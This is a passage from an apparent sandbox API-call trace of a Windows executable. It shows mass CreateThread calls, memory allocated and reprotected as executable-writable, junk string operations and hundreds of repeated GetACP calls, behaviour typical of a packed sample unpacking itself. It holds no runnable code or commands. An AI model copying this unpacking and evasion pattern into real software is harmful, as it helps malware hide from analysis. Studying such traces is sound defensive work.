lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x118c) returned 0x500 [0114.327] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1190) returned 0x504 [0114.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1194) returned 0x508 [0114.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1198) returned 0x50c [0114.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x119c) returned 0x510 [0114.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11a0) returned 0x514 [0114.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11a4) returned 0x518 [0114.448] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11a8) returned 0x51c [0114.448] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11ac) returned 0x520 [0114.449] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11b0) returned 0x524 [0114.449] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11b4) returned 0x528 [0114.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11b8) returned 0x52c [0114.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11bc) returned 0x530 [0114.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11c0) returned 0x534 [0114.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11c4) returned 0x538 [0114.452] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11c8) returned 0x53c [0114.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11cc) returned 0x540 [0114.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11d0) returned 0x544 [0114.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11d4) returned 0x548 [0114.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11d8) returned 0x54c [0114.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11dc) returned 0x550 [0114.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11e0) returned 0x554 [0114.456] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11e4) returned 0x558 [0114.456] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11e8) returned 0x55c [0114.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11ec) returned 0x560 [0114.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11f0) returned 0x564 [0114.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11f4) returned 0x568 [0114.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11f8) returned 0x56c [0114.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11fc) returned 0x570 [0114.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1200) returned 0x574 [0114.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1204) returned 0x578 [0114.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1208) returned 0x57c [0114.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x120c) returned 0x580 [0114.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1210) returned 0x584 [0114.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1214) returned 0x588 [0114.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1218) returned 0x58c [0114.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x121c) returned 0x590 [0114.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1220) returned 0x594 [0114.533] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1224) returned 0x598 [0114.533] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1228) returned 0x59c [0114.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x122c) returned 0x5a0 [0114.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1230) returned 0x5a4 [0114.535] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1234) returned 0x5a8 [0114.535] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1238) returned 0x5ac [0114.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x123c) returned 0x5b0 [0114.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1248) returned 0x5b4 [0114.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x124c) returned 0x5b8 [0114.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1250) returned 0x5bc [0114.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1254) returned 0x5c0 [0114.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1258) returned 0x5c4 [0114.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x125c) returned 0x5c8 [0114.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1260) returned 0x5cc [0114.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1264) returned 0x5d0 [0114.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1268) returned 0x5d4 [0116.049] VirtualAlloc (lpAddress=0x0, dwSize=0x2a000, flAllocationType=0x1000, flProtect=0x40) returned 0x5110000 [0116.101] lstrlenA (lpString="%nl,") returned 4 [0116.101] lstrlenA (lpString="(.") returned 2 [0116.101] lstrcatA (in: lpString1="(.", lpString2="%nl," | out: lpString1="(.%nl,") returned="(.%nl," [0116.101] lstrlenA (lpString="wuU") returned 3 [0116.101] lstrlenA (lpString="./") returned 2 [0116.101] lstrlenA (lpString="P=\\") returned 3 [0116.101] lstrlenA (lpString="dj`q") returned 4 [0116.101] lstrlenA (lpString="*+#ej") returned 5 [0116.101] lstrlenA (lpString="e@8>+") returned 5 [0116.102] lstrcmpA (lpString1="z$B\"", lpString2="{esP") returned 1 [0116.104] lstrlenA (lpString="uy;R") returned 4 [0116.104] lstrlenA (lpString="0WF<") returned 4 [0116.104] lstrcatA (in: lpString1="dj`q", lpString2="P=\\" | out: lpString1="dj`qP=\\") returned="dj`qP=\\" [0116.104] lstrcmpA (lpString1="41", lpString2="nJ") returned -1 [0116.104] lstrcatA (in: lpString1="./", lpString2="wuU" | out: lpString1="./wuU") returned="./wuU" [0116.104] VirtualAlloc (lpAddress=0x0, dwSize=0x22b10, flAllocationType=0x1000, flProtect=0x4) returned 0x5480000 [0116.104] VirtualProtect (in: lpAddress=0x400000, dwSize=0x2a000, flNewProtect=0x40, lpflOldProtect=0x51390f0 | out: lpflOldProtect=0x51390f0*=0x2) returned 1 [0116.105] GetACP () returned 0x4e4 [0116.105] GetACP () returned 0x4e4 [0116.105] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.106] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.107] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.108] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.109] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.110] GetACP () returned 0x4e4 [0116.111] GetACP () returned 0x4e4 [0116.111] GetACP () returned 0x4e4 [0116.132] GetACP () returned 0x4e4 [0116.173] GetACP () returned 0x4e4 [0116.179] GetACP () returned 0x4e4 [0116.241] GetACP () returned 0x4e4 [0116.272] GetACP () returned 0x4e4 [0116.292] GetACP () returned 0x4e4 [0116.428] GetACP () returned 0x4e4 [0116.455] GetACP () returned 0x4e4 [0116.459] GetACP () returned 0x4e4 [0116.611] GetACP () returned 0x4e4 [0116.616] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.725] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.726] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 